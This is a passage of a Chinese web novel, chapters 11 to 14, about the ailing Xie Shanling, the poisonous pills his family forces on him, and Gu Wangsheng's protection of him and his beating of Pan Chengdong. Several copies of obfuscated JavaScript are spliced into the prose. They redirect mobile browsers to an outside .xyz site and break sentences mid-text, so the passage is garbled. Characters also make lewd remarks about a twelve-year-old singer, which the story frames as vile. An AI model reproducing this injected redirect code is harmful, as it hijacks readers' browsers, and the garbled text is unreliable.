辞别母亲,谢善淩扭头就走,真是一副骄纵任性的模样,偏偏顾望笙乐得陪着演,急忙一副痴心宠溺的模样追上去,低着头不知在如何地柔声蜜意哄人。 佘郡主含着欣慰的笑目送他俩远去,低头饮了几口茶,便有妯娌过来,还没坐下便开口道:“刚刚我过来,远远见着善淩和人……” “啊,那便是大皇子殿下。”佘郡主道。 谢二婶道:“我猜就是。”她看着佘郡主神色轻松,知她不避讳,便笑起来,“瞧着怪亲密,就是不知好像怎么惹善淩不高兴了,难得见他那气冲冲的模样,大皇子一路不知哄着什么,那样子真像小两口。” 她略一顿,叹了声气,道:“不过啊,我觉得如此也好,好过善淩之前那副模样。” 佘郡主点点头:“我也这么觉得。” 她俩却哪里知道,大皇子那看似哄人的模样,说的全是些让谢善淩恨不得当场跟他肉搏生死血溅三尺的混账话…… “嘿嘿,跟我斗?谢善淩,我劝你还是早早投降认命吧~” “都几天了?还没想好?我可告诉你,一个月很快就过去了,到时候生米煮成熟饭你再后悔可也晚了。” “我真不是吓唬你,一旦成亲,我可管不住我自己!你别不当回事儿!” 谢善淩忍他到出了谢府,走到无人处,忍无可忍,扭头瞪他:“你话真多!” “早点承认你是那个人,我话就不这么多了。”顾望笙道。 谢善淩认真地看着他说:“我看你不应该叫顾望笙,你该叫顾妄想。” 顾妄想毫不在意,手一摊道:“有把柄被拿住的人不是我就行~” 谢善淩正要骂他,听到他声音轻了几分,也淡了几分,侧脸瞥着一旁说道:“可见所谓家人只是累赘,不如像我一无所有,烂命一条,谁也连累不到我,我也连累不到谁,呵呵。” 谢善淩一怔,看着他的脸出神,倒是将顾望笙看得不爽利了,质问:“你这什么眼神?我就事论事!” “……不是要去看新赐的宅邸吗?”谢善淩自顾自转过身朝街口走,“还要添置家具,事这么多,别拖拉了。” 顾望笙急忙跟上他,有些恼羞:“你这是什么样子?同情我啊?我说那话可不是为了让你摆这恶心的模样!就是顺嘴一说!” 谢善淩敷衍道:“哦。” 顾望笙气恼地拉他胳膊一下:“走错了!在那边!” 谢善淩转身朝另一边走。 皇帝赐给顾望笙的府邸离谢府很近,不算大,但装潢精致,若只是两个主人居住绰绰有余。屋内一应的紫檀木、黄花梨木打造,材料扎实,样式只能说无功无过,就是皇子府的规制。 管家姓福,是个年约四十的中年男子,态度尊敬却不卑微,跟在两人身后并不多嘴,有需要时才恰到好处地开口,瞧着是个有脑子的。只不过嘛……就不知道这脑子会不会有得太多。 顾望笙不动声色,暂且没去管福管家,只对着谢善淩又演起来:“淩儿,你看这府里有什么想换的想添置的,尽管拿主意,我都听你的。” 演归演,说归说,他竟还动手动脚起来,含情脉脉地握住了谢善淩的手腕,他手大,手心烫,谢善淩不适地挣脱,尴尬地看了眼福管家。 顾望笙也看了眼福管家,有些羞赧地笑了笑,全然一副刚刚是情难自控的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢善淩却转身就要继续朝更多人的地方走去,顾望笙目瞪口呆地看着他背影,反应过来,急忙追上去拉住他往回拖:“你干什么!” 谢善淩倔得很,与顾望笙拉扯起来,无奈力气没人家大,还是被扯回了家。 佘郡主开开心心地和热心的妯娌、小辈姑娘们一起赶制谢善淩的新衣,眼看时候不早了各位才散去,刚收拾好厅堂,谢善淩和顾望笙回来了。 她正要笑着打招呼,就见儿子又是那副微微不活的苍白模样,不由一怔:“……善淩?” 谢善淩停下脚步朝她行礼:“母亲。” 顾望笙一路说什么谢善淩都不搭理他,骂都不骂,他又是愧疚又是焦急,但这会儿也只能先压抑下去,朝岳母行礼道:“郡主。” 佘郡主朝他回礼,刚要开口询问,儿子低声道:“母亲,我累了,先回房休息。” 说完,不等她回应,他就径直朝后堂走去,留下佘郡主与顾望笙面面相觑。 片刻,佘郡主看向顾望笙,刚要开口,顾望笙先满面愧色地认罪,低声将刚刚街上的事说了。 佘郡主长叹一声:“唉……不怪殿下,殿下离京多年,不知道一些往事。” “不,我知道。”顾望笙自责道,“我就是一时大意,没想到……”他局促得有些结巴,都不太敢看佘郡主,“真的很对不起……” 12.第 12 章 谢善淩将房门从里栓上,坐在桌前低垂着头,双手捂住额头,渐渐手心用力,手背筋络迸起,修长的手指插入发间,猛然十指用力扣压头皮! ——却依旧对抗不了从头皮深处渗发出来的疼。 那股疼意十分缥缈,并不是某一处实在的感觉,却又实实在在是疼的,密密麻麻,恨不能将整颗头颅摘下来扔出去,心口紧绷,难以呼吸。久而久之,戾气都生了出来。 “善淩,你将门开开。”佘郡主担忧的声音在门口响起。 谢善淩忍着锥心刺骨的疼痛与寒意,冷汗涔涔地从牙缝里竭力挤出:“我没事……就是太累了……母亲不必管我……我已睡下了……” 佘郡主又劝了几句,谢善淩只是一味说自己睡下了,可听那声音便知他是又犯病了。佘郡主听得心疼,眼眶发红,侧过脸去抹泪。 见到此状,顾望笙越发局促,手不自觉拽了拽自己的衣角,嗫嚅着不知能如何赔罪才好。 半晌,佘郡主哽咽道:“善淩,你将窗开开,母亲带着药,你吃一颗。” 药确有效,每每谢善淩发病时吃一颗便会缓解许多。可也有不好的作用,譬如长期服用会令人发福,这倒没什么,更要紧的是,谢善淩明显感觉自己吃这药吃傻了。 那段时日谢善淩是不难受了,脑子里飘飘忽忽,连前一顿吃的什么都记不住,甚至刚刚说了什么也不记得。看书时无法集中精神,刚看两眼就神思涣散,自己也不知自己在想什么去了。 大夫振振有辞,说谢善淩就是想得太多、脑子太快了,因而才如此痛苦,若想不了那么多,自然便不痛苦了。只管吃着这药,每日再只顾哼哼小曲儿、看看戏、吃喝玩乐,别想那些不干自己的事儿,包管一辈子快快活活。 谢善淩听完再也不肯吃了。 “善淩,就吃一颗。”佘郡主走去窗下苦苦哀求,“章神医说了,只要不总吃,病发时才吃一颗是不会和那时候一样的。善淩,你就只吃一颗。” 谢善淩紧紧闭着眼睛揪着发,许久低低地挤出两个字:“不吃……” 可他此时的声音太虚弱,只有他自己听得见。 身体记得吃了那药后便会快活许多,因而本能想吃,可是谢善淩不许。 宁愿痛苦,哪怕是白白痛苦,于世事丝毫无益,该丑陋的依旧丑陋,不堪的依旧不堪,他宁愿痛苦也不愿麻木,不愿不去思不去想,宁愿成为一具痛苦的尸体,也不要成为一个快活的傻子。 可是,这有什么意义呢?一切都是毫无意义的。 自己的痛苦无法改变世界一丝一毫。自私又恶毒的种群不会改变,无辜而愚蠢的种群也不会改变。他们永远在自私恶毒,永远在无辜愚蠢。他对这一切无计可施,甚至生出了怨恨。 屋外,顾望笙看向佘郡主拿出的手中药丸,闻到一丝若有若无的特殊气味,眉心微蹙,低声道:“郡主可否将药丸给我一看。” 佘郡主随手将药丸给他,继续贴着窗户苦劝儿子。 顾望笙将药丸凑到鼻下闻了又闻,眉头越皱越紧,忍不住道:“郡主,此药不可服用,其中恐怕含有不少的铅汞之物,服之于身体有大害。” 那大夫并未隐瞒过此事。佘郡主含着泪摇摇头,欲言又止,只是一味地继续劝说屋里头的人。 她又如何愿意自幼聪慧的儿子变成一个痴傻之人?平日里便是只摔破皮她也心疼得很。只是害分轻重,至少……他活着!对一个母亲而言,孩子哪怕是作为一个痴儿活着,也胜过一具聪慧的尸体。 但她没有心思向大皇子解释。她只想知道为何这一切要降临在自己孩子的身上。以前谢善淩学业拔尖,谈吐不凡,在同龄人中如鹤立鸡群,她自豪之极,却不料真是慧极必伤!若是如此,她宁可他平庸而快乐。 顾望笙正要说话,听到脚步声匆匆而来,男人急促叫道:“善淩又发病了?!” 他回头一看,是谢大伯。 谢大伯满面焦色,顾不上大皇子,径直走去门口就抬脚用力踹上去!一下没踹开,他立刻又一脚踹了上去! 顾望笙惊讶地看着谢大伯的动作:“这……” 谢大伯文弱,连着踹了好几脚也没把门栓踹开,为难之下看向高高大大一看就有劲儿的顾望笙:“殿下快来助我!” 顾望笙:“啊?这……” 谢大伯急道:“善淩那病发得最厉害时会自残!” 顾望笙一听,再不耽误,三步并作两步过去拉开谢大伯,抬起脚一脚就将门踹开了,率先冲进去:“谢善淩!” 谢大伯也马上要进去,却忍不住多看了两眼被顾望笙一脚踹坏、摇摇晃晃虚挂着看起来很快就要倒下的半扇门。这……就是猎户的力量吗…… 此时已经日落,屋内未燃烛火,好在顾望笙眼力好,环顾一圈,很快就看见了书桌底下露出的衣角。他走过去蹲下一看,果然谢善淩蜷缩在这里。 黑暗中,谢善淩脸白如纸,紧闭双眼,双手抱住屈起的膝盖,瘦弱的身体缩成很小的一团,一直在发抖,好像很冷很冷。顾望笙刚要伸手去拉他,谢大伯过来了,先一步拽住谢善淩的胳膊就要将人拽出去。 谢善淩却好似受了极大的刺激,原本只是柔柔弱弱地发着抖,此刻剧烈反抗起来,抗拒着谢大伯伸来的手,一个劲往后躲。 顾望笙一时之间不知道该帮谁…… 谢大伯再度向他求助:“殿下将他弄出来喂药吃!快!” 顾望笙下意识道:“可是那药……” 他话未说完,谢善淩嘶声叫道:“我不吃药!我不吃药!” 谢大伯不管他这任性,见顾望笙愣着不帮,只好自己继续去拉扯谢善淩,边哄道:“善淩你听话,吃了药就好了……郡主,去叫人来按住善淩吃药!纵着他是害了他!!” 佘郡主一咬牙,转身去院外叫人,很快便叫来了一个孔武有力的护院。 护院过来一把将还试图躲藏的谢善淩从桌下拖出按住,一只手强硬捏开谢善淩的嘴巴。谢大伯已经倒了水来,一手拿着水杯,一手拿着药丸就要往谢善淩的嘴里塞。两人都很熟练,想来这不是第一次。 顾望笙震惊地看着这一幕,视线落到上半身被牢牢按住、双腿却依旧扑腾得不停的谢善淩身上,猛然回过神来,一把拽开护院,将谢善淩从他们手中抢了过来,怒喝道:“你们在做什么!那药有毒不能吃!” 谢善淩此刻脑子里混混沌沌,恐惧非常,乍然被人救下,又听这人说药不能吃,如同抓住了仅有的救命稻草,转身投入他怀中,抓紧他的衣裳哀求道:“我不吃药……不要……那药有毒……” 谢大伯苦苦劝道:“有毒你也要吃啊善淩!这药毒也毒不死你,可你这病若发作下去……殿下,容臣稍后再向你解释,如今先让他吃药吧!他亲娘都在这里看着,总不会害他!我们都是为了他好!” 谢善淩生怕唯一的救命稻草被说动也逼自己吃药,急忙死死抱住:“我不要吃药……我不要变成傻子……我宁愿死!” 他这一说,却愈发坚定了谢大伯灌他药的心,就连佘郡主也终于走上前来哭着道:“殿下你松开他,就让大哥喂善淩吃药吧!” 谢善淩仰起脸望着顾望笙,已是满脸泪水:“不吃……不要吃那个药……我不会自残……我只是头痛……不要吃那个药……” 顾望笙的一颗心都险些被他哭碎了,忍不住将他紧紧护入怀中,低声安抚:“好,不吃,别怕,我在,我不让他们喂你吃那药。” “殿下……”谢大伯心一横,“得罪了!”说着看向护院,示意他将人抢出来。 护院领命,伸手扣向谢善淩肩膀,还未碰到,顾望笙拦腰抱着谢善淩站起身,飞快地朝后退了几步,沉声道:“我不会让你们逼他吃那药!” 谢大伯急眼了道:“这是谢府家事,殿下何故插手!” 顾望笙道:“这不是很巧吗,我是谢善淩的未婚夫。” 谢大伯:“……” 顾望笙不再管他,径自将谢善淩抱到床上放下,可谢善淩却依旧死死抓着他的衣角不肯松手,顾望笙只好就势坐到床沿,搂着他轻轻拍背,拍着拍着,大手摸上他的额头,摸到满手滚烫的汗。 “……你还好吗?”顾望笙轻声问。 谢善淩靠在他怀里喃喃:“我不吃药……” 顾望笙耐心道:“没让你吃药,我问你现在怎么样了,头还痛吗?” “……”谢善淩犹豫了片刻,垂眸道,“痛……但是我不吃药……” “我不会让你吃那药的,那药有毒不能吃。”顾望笙重申立场博取谢善淩更多的信任,随即柔声道,“但让人弄个湿帕子给你擦擦脸上的汗好不好?” 谢善淩忍着疼痛抬眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被顾望笙默默用质疑和谴责眼神看着的谢大伯忍不住辩驳:“我们没干过这事儿……他犯病时总疑神疑鬼。”通常就是让护院按着他直接往嘴里塞…… 顾望笙轻咳一声,正要说话,谢善淩虚弱道:“对不起,大伯……” 谢大伯正要说没关系,又被顾望笙看了过来,这回的眼神好似是:你何故要和一个如此脆弱的病人计较?? 谢大伯:“……” 再过了一阵子,谢善淩的呼吸逐渐平稳下来,不再发抖,顾望笙试探着叫他两声,他都没有回应,睡着了。 既能睡着,想来是不痛了。顾望笙松了一口气,打算将他放平更舒服地睡,却不料他睡着了手却还揪着自己的衣服,略拽一下便不安地哼哼。 顾望笙默默看向岳母。 佘郡主蹑手蹑脚走过来,轻轻摸了摸谢善淩的额头,叹口气,朝顾望笙道:“今日多谢殿下了。” 顾望笙忙道:“原本是我害他如此……” 佘郡主摇摇头:“殿下若有其他事要忙……” 顾望笙赶紧说:“没事要忙,我的事就是守好善淩。” 他这话倒确实发自真心,毕竟此次回京就是为了把谢善淩这军师给弄回去。可听在其他人耳里就是另一回事了。 佘郡主见状,想着两人反正是要成亲了,索性不管那些虚的,留下句“那就有劳”,转身离开。谢大伯等人自然也就一起走了。 屋里再度安静下来,顾望笙伸手拽过被子裹好怀中的人,借着刚刚丫鬟点起的烛光细细打量。 谢善淩其实生了一副天真无害的烂漫模样,大多数时候看起来仍似少年,只是这少年总是忧郁。而且他太瘦了,一副病弱之躯。顾望笙想起小时候珠圆玉润健健康康的谢善淩,觉得他还该是那样的。 看着看着,不由地又想起了谢善淩火烧官服,孤身走在街头茫然无助地面对铺天盖地的骂声时的模样。虽然他未曾亲眼见到,可头一回听人说起时便大为震撼,后来在梦中时常出现。 想着想着,心软得不像话,就连当初被骗婚的仇也觉得无所谓了。只是男扮女装骗婚约而已,又不是多罪大恶极的事。再说了,怎么就没去骗别人呢?说明是冥冥之中的缘法。实在要怪,怪佛祖都怪不到谢善淩的身上。何况顾望笙也不想怪佛祖。 13.第 13 章 谢善淩沉沉睡去,做了一个噩梦。 梦中,他又回到了那日,孤身站在街上,明明周围是沸反盈天的人群,他却仿佛置身雪原,耳边只有风雪戚戚的声音,其他都听不见,只是看见那些脸庞狰狞可怕,是张牙舞爪彷如就要扑过来撕咬自己的怪物。 一眨眼,眼前变了。 依旧是在那条街上,怪物却倒了满地。它们不再叫嚷,成了一具具安静的尸体,鲜红流了满地,一条条腥臭的血溪蜿蜒汇聚,最终都流往自己脚下。 谢善淩怔怔地顺着血流看去,最终看到自己手上提着的染红了的剑。 “啊!” 顾望笙刚刚闭上眼睛假寐,就被一声急促的尖叫惊醒,急忙睁眼一看,与醒来的谢善淩四目相对。 谢善淩神色呆呆地瞪着他,大口喘着粗气,神魂未定。顾望笙等了会儿,见他渐渐气息匀称,这才开口:“做噩梦了?” 谢善淩这才回过神来,转而看向窗台,见着流泻在那上面的月光枝影,知道已是深夜。 记忆渐渐回笼,想起白日发生的那些,白纸一般的脸颊腾升起一股病态的潮红。 顾望笙看在眼里,没借机揶揄,反而别开了视线,起身伸了个懒腰,活动着筋骨道:“可算醒了,我一晚上没吃饭。” 谢善淩看向他,低声道:“多谢。”停了下,声音越发地轻,“吓着你了吧。” 顾望笙回头瞅他:“你别说,还真吓着我了。” 谢善淩垂眸。忽的,听到顾望笙郑重其事道:“那药可千万不能吃,剧毒。” 他一怔,复看过去,顾望笙转了话头,问:“渴不渴?我自己去你家厨房烧点热水喝,总不会被人往里搁药了。” 谢善淩摇摇头:“这么晚了,你又饿了,不必再管我,我没事了,可自理。” “好人我都做了,当然做到底,否则不是前功尽弃?”顾望笙一副理所当然的作派,说,“废话少说,饿不饿?不饿我自己去吃,饿我就给你带点儿。” 谢善淩仍旧摇头:“多谢好意,我不饿也不渴,只是困了,想再睡会儿。” 说着便倒回去,翻了个身背对着顾望笙,不再言语动作。过了会儿,听见顾望笙离开的声音,谢善淩轻轻地吐出一口浊气,望着被褥上的纹路,再未能入眠。 * 虽已是深夜,东厂刑房内依旧灯火通明。今夜没有惨叫声,收拾得还算干净,可墙面、地上早已渗入经年的人血,即算清扫过后也总是蔓延着若隐若现的腥味。各式各样的刑具摆放在那,叫人光看一眼也不寒而栗。 身穿着粗布麻衣的中年男人相貌普通,是扔在人群中便会立刻找不到的。此刻他心惊胆战地跟在长身而立的二皇子顾裕骐身后,卑微地佝偻着腰,看起来行为猥琐,对比更加明显。 顾裕骐站在刑房中央,忽的扭头对男人一笑。他眼白少,黑瞳大,笑意只在嘴角,笑起来森森的,便格外瘆人,男人膝盖一软,差点瘫倒在地。 “涂先生不必害怕。”顾裕骐的声音也冷飕飕的,“你主动投诚,还说出了那么重要的事,我带你来这,自然不是为了对你动刑。这里是对那些冥顽不灵之辈动刑的地方。” 涂蟠壮着胆子问:“那、那为何深夜来这……” “带你看看。”顾裕骐淡淡道,“若涂先生所言为实,今后就是东厂的座上客,荣华富贵就在眼前。可若你所言为虚……” 他说到这里不再言语,缓缓走到吊人的木架旁,低头握住烙铁的把手,慢条斯理地搅了几下里面燃着的炭火,火星子顿时飘落了出来。他拎出烙铁举在半空中看,烙头已经烧得透亮发红。 涂蟠咽了口口水,道:“小的诚心投靠,哪敢说半句假话!” 顾裕骐转头看他:“哪里就这么巧,恰好你叛出白龙匪军,恰好来到京城,又恰好见着了我大皇兄,恰好让你认出了他是白龙匪军的头目。” 涂蟠害怕地盯着那烧红的烙铁,欲哭无泪地说:“就是这么巧啊……小的逃出匪军后,原本只是想来投奔京城的母舅家,偏偏母舅家在官驿旁边,偏偏大皇……大皇子从那走动,叫小的认出来了!小的被掳去被逼为匪时曾与他当面有过来往,记得深切,又偷偷观察数日,绝不会认错!小的辗转反侧犹豫了许久才敢来报……” 顾裕骐阴恻恻地盯着他看了一会儿,终于将手中的烙铁扔回炭盆里,又激起了一阵火星,还有些落到了他的衣摆上,但他并不在意。 涂蟠又壮起胆子开口:“二殿下,还不去抓捕大……呃,那人吗?” 顾裕骐斜瞥他一眼:“天潢贵胄,皇长嫡子,落草为寇,造自家的反,此事说出来都荒谬。我只听你一面之词就去抓了他,若错了,你死不足惜,我却要为你陪葬。” 涂蟠见他并不是发怒,放下些心来,搓着手谄笑:“小的也是怕夜长梦多……” “好了,不该你管的就不要管,这几日安心住在东厂,待我有了更确凿的证据自然会去抓他。”顾裕骐道。 * 谢善淩不知自己发了多久的呆,忽的闻到食物的味道,也听到了人进来的声响,他没有回头去看,依旧静静侧身躺着。 顾望笙将热气腾腾的香馄饨放到八仙桌上,走去床边探头一看,见谢善淩睁着眼睛,道:“京城就是京城,这么晚了外头还有卖馄饨的。给你带了一碗,还是热的,快起来吃点儿。” 谢善淩闭上眼睛:“不吃,请回。” 顾望笙却不肯回,转身将馄饨端过来,有意让谢善淩闻得更清楚些。 谢善淩确实闻到了更浓郁的油盐味,忍了再忍,终于忍不住了,腾的坐起来,迎着顾望笙刚要得意的神情,猛地趴在床沿上干呕起来。 顾望笙:“……” 他仓促地低头看了眼自己手里的馄饨,急忙退到门口随手往旁边博古架的空地儿一放,然后朝床边走来,紧张地问:“喂你没事吧?!” 谢善淩依旧趴着,半晌不呕了,声音干涩:“我知殿下好意……只是此时闻不得油腥……” 又做错事了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14770334|157217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !顾望笙扼腕,一拳重击自己胸口,尴尬道:“抱歉,我只是……唉,抱歉……” “无妨……不知者无罪……”谢善淩虚弱道,“殿下无需挂怀……时候不早,请回吧……” 他如斯大度温柔,顾望笙越发的无地自容,心亦是软得不像话,望着他说话时嗓子都不自觉地夹了夹,生怕粗着了惊吓着了他:“你、你喝点水总可以吧?” 谢善淩又轻又重地叹了声气,顾望笙顿时紧张得心悬到了嗓子眼儿,大气不敢出。 不多久,谢善淩似是终于缓过来了,慢慢坐起身,抬眼看向顾望笙,一开口语气平静而淡漠。 “何必惺惺作态,我今日如此全拜你所赐,倒杯水,送碗馄饨,我难道就会感动吗?我虽吃了许多那药,到底脑子还没坏完。刚刚谢你只是家教所在,实则殿下令我厌烦至极。” 顾望笙:“……” 谢善淩躺回去,闭上眼睛,不再言语。顾望笙在床畔干站了一阵,讪讪道:“我知道是为难你,可还请你为天下苍生为念……” “滚。”谢善淩说。 顾望笙顿时不敢再说话,过了会儿悻悻然地走了。 * 大皇子府还在收拾中,顾望笙仍住在官驿。他步履沉重地回去,两个伺候的小厮在门房里烧着水值夜,见着了他,其中一个殷勤地出来问候,顾望笙爱答不理,自顾自朝屋走去。 小厮谄笑着回门房拎了刚烧开的热水壶便要出去。 同伴忙叫住他:“六子你拿水哪儿去?我这等着喝呢!” 六子头也不回地道:“等会儿再烧!先紧着贵人用!” 同伴想骂又怕得罪大皇子,只能悻悻然地翻了个白眼,在心里骂道:德性! 六子向来是个溜须谄媚的,好在倒也不对别人使坏,因而大家平日里翻翻白眼嫌弃两句也就罢了,倒也不往心里去,说不上厌恶。 很快六子就提着装了冷水的壶回来了,他将壶架回炉子上,冲同伴嘿嘿一笑,从怀里掏出两颗橘子递过去,讨好地说:“这下子就着热茶吃烤橘子,你总没火气了吧。大皇子赏的。” “出息!你那么上赶着,就赏你两颗橘子你跟得了多大的便宜似的……”同伴细思不对,瞅着六子那藏不住的笑意,狐疑道,“不止橘子吧?是不是还给你赏钱了?” 六子轻咳一声,视线有些闪躲,明显心虚:“哪儿、哪儿的话……” 同伴见状越发认定这小子就是要独吞赏钱,可想想确实是人家凭本事献媚讨来的,只能在心里暗骂了声,拎起壶将橘子扔炉火里烤,到底没脸逼着见者有份。 * 厢房里,顾望笙警惕地留意屋外无人,这才打开了刚刚那小厮借机递给自己的纸条。 上面写着:粮管涂蟠叛逃至京城撞破你身份,我欲除之却晚一步,人已为东厂所得,及早对策。 他神情没有变化,眼中沉稳,将纸条放到烛火上点燃,松手看着它落下。 纸条还未落地燃尽,心中已有主意。 14.第 14 章 悦来楼是京城最大的酒楼,坐落在京城最繁华的街市,虽然连碗最普通的白水都收费昂贵,每日依旧热闹非凡。京城从不缺有钱人,公子哥儿们尤其爱来这儿相聚听曲儿。 潘成栋和他的狐朋狗友就是悦来楼的常客。 其实他们更爱去怀月楼,怀月楼是风月之地,可惜最近潘将军回京叙职,潘成栋总要对老子做做样子。 今日一行人坐在二楼的老位子看着一楼台上正在唱曲儿的女孩儿,不由议论起来。 “我昨日来这儿就问过了,才十二,扬州来的。” “那胸脯腰杆儿可不像十二,啧啧,那嗓子,在这儿出声儿可浪费了。” “你是想说去你床上出声儿就不浪费了吧!哈哈哈哈!” “胸脯腰杆儿不像十二无妨,嘴儿还是十二的就好啊……成栋你说呢?” “嗐,别问他,他偏偏与众不同,最爱年轻妇人。” “你还别说,有时候那已嫁了人的女人还真是比嫩瓜秧子有韵味,更懂得如何伺候男人~” “总是成栋最会享受。” 众人说笑起来,一时间包厢里全是污言秽语。 潘成栋慢悠悠地喝完了杯中的酒,斜眼乜着楼下那女孩儿,道:“看上了就去玩儿,往我身上扯什么。” 狐朋:“没你一起就没那么好玩儿了。” 狗友:“是啊是啊,就数成栋最会玩儿!哈哈哈哈!” “成栋你也换换口味呗。” 潘成栋撇撇嘴:“不是说了吗,最近我爹在家,成天说我,让我别再跟上回一样留了把柄给那姓谢的抓住咬。” 说到“姓谢的”,潘成栋不由得咬牙切齿。 那回虽然他赢了,却也元气大伤,回家养了半个月的身子不说,好了也被爹下令关在家中读书反省。 他反省个奶奶腿儿! 几个民间贱妇罢了,谢善淩竟为了她们要他的命!闹那么大风波!脑子有病! 被关在家里的三个月差点把他给折磨疯了,好在他伏低做小,爹终于松了口,他才重获自由。可跟谢善淩的深仇大恨他这辈子都放不下! 可惜这姓谢的那之后就深居简出,他想动手教训却迟迟没找到机会。 狐朋狗友们听到他这么说,羞辱谢善淩替他出气:“怕他什么?他如今什么也不是了,缩头乌龟似的都不敢露面!” “还别说,昨日露面了,我那会儿正好见着。不过啊,被人当街呸了一口,灰溜溜又回去了,哈哈哈哈!” 潘成栋看向这人:“他自己出的门?” 潘成栋教训谢善淩的心不死,只是苦于总蹲不着他。 得知谢善淩去了山上独居他还高兴来着,谋划着要动手,可恨路上被不知道什么人设了什么诡异妖法,他领着人一进去就鬼打墙!最好的一次都能隐约看到谢善淩的身影了,却怎么都不能再近一步!真是见了鬼了! 那人摇摇附庸风雅的折扇,神秘一笑,压低声音道:“和大皇子。” 众人一听,顿时露出意味深长的轻蔑笑意。 关于谢善淩和那位流落民间数十年、不受皇帝宠爱的废太子的婚事,如今大家都是知道的。 当即有人笑着揶揄道:“成栋,那他做了大皇子妃,你以后恐怕就不敢再动手了吧!哈哈哈哈!” 潘成栋嗤笑道:“大皇子妃又如何?我照样——” 他话还未说完,突然一声巨响,包厢的门被人从外头一脚踹开,惊得屋内众人差点从椅子上弹跳起来,纷纷瞪眼看去。 潘成栋正要破口大骂是哪个混账吃了熊心豹子胆,踹门的人已经如同一阵风似的冲进来,抡起沙包似的拳头就朝他脸上狠狠揍了过来! 潘成栋硬生生挨了这一拳,眼前一黑,脑袋里懵了好一阵才反应过来,定睛一看,正要张口,对方猛地冲他脸上又是一拳! 周围人终于反应过来,急忙叫道:“大、大皇子……您这是做什么?!快住手啊!” 顾望笙怒吼道:“谁敢拦着老子连谁一起打!不怕死的就来!” 吼着,他抬脚就是一顶,潘成栋顿时发出杀猪般的哀嚎声,正要挣扎,顾望笙朝着原处又是一顶,潘成栋疼得昏死了几个瞬息,待反应过来时,只感觉下身已不是自己的了,双膝一软朝地上跪去。 顾望笙顺势将他压在地上,左右抡拳一刻不停地朝着他脑袋猛击。 潘成栋的狐朋狗友们在旁看得心惊肉跳,你看看我,我看看你,谁也不敢上前去救,生怕把自己搭进去,变成下一个受害者。 若非顾望笙堵住了门口,他们此刻恐怕已经逃出去了!若非这是在二楼,他们就要跳窗了! 直到潘成栋软趴趴一动不动地闭眼躺着,七窍流血,身下的衣裳也被血浸红了,外头惊呼的人终于叫来了日常巡城的官兵。 这些官兵自然认识潘成栋和其他的权贵家子弟,见状大惊,顾不上许多,强行将发狂的顾望笙拉开。 顾望笙挣扎着还不甘心地踹了潘成栋几脚,叫道:“谁敢动我!” …… 皇帝抓起案头的奏章毫笔以及顾不上看清是什么的东西,一股脑朝跪在地上的顾望笙砸去,骂道:“谁敢动你?!朕敢动你!” 顾望笙直挺挺地跪在那儿,任由东西砸自己脸上,梗着脖子道:“我要为谢善淩出气。” “出气!你出气……你出气!”皇帝被他气得差点一口气出不来,抓起镇纸朝他扔过去,好在扔偏了,擦着他的脸飞出去,将地面的青石都砸出了一点缺角。 “多久的事儿了!你还在这儿出气!”皇帝咆哮道,“那谢善淩给你也吃迷魂药了吗?!你发哪门子疯!” 顾望笙继续梗着脖子道:“儿臣当时不在,不知道,才让他受了那天大的委屈,如今在了,知道了,这口气得补上。” 皇帝左右看看,案头就剩玉玺了,他拿起来要对准这个蠢货的脑袋扔,可犹豫再犹豫,最终还是放了回去。 顾望笙继续道:“更何况,那日儿臣在门外听得分明……当年之事真相如何父皇自然也是知道的,那潘成栋如今竟还和人背后议论善淩和儿臣的婚事,大放厥词,不止羞辱善淩,也羞辱儿臣!他羞辱儿臣,且不是没将父皇放在眼里?儿臣虽然这些年不蒙教化,只是个山野猎户,却也是父皇的儿子,也有傲骨!” “你还傲骨!你……你……” 皇帝深深呼吸,想骂都一时之间被气得不知从何骂起才好,看着这个莽夫,实在也是无话可说。俗话说得好,秀才遇上兵,有理说不清。能指望一个当了十几年山野猎户的人什么呢?! 半晌,皇帝勉强冷静下来,道:“此事须得你去潘府负荆请罪。” 顾望笙不服气:“儿臣不去!儿臣没错!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776283|157217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝好不容易下去的一口气又堵了上来:“你——” 顾望笙跪在地上仰着脸看他,脸上满是疼惜与愤慨:“当初潘家陷害善淩,致使善淩心病缠身,昨日发病几欲死去!儿臣目睹此景,也几欲死去!” 皇帝:“……”啊啊啊啊那你怎么就没死!谢善淩怎么也没死!你俩赶紧去死! “潘家先给善淩负荆请罪!否则儿臣绝不负荆请罪!” 顾望笙的声音越来越大,跪在屋外等待结果的潘将军听得清清楚楚,脸色越发铁青,拳头攥得嘎吱响。 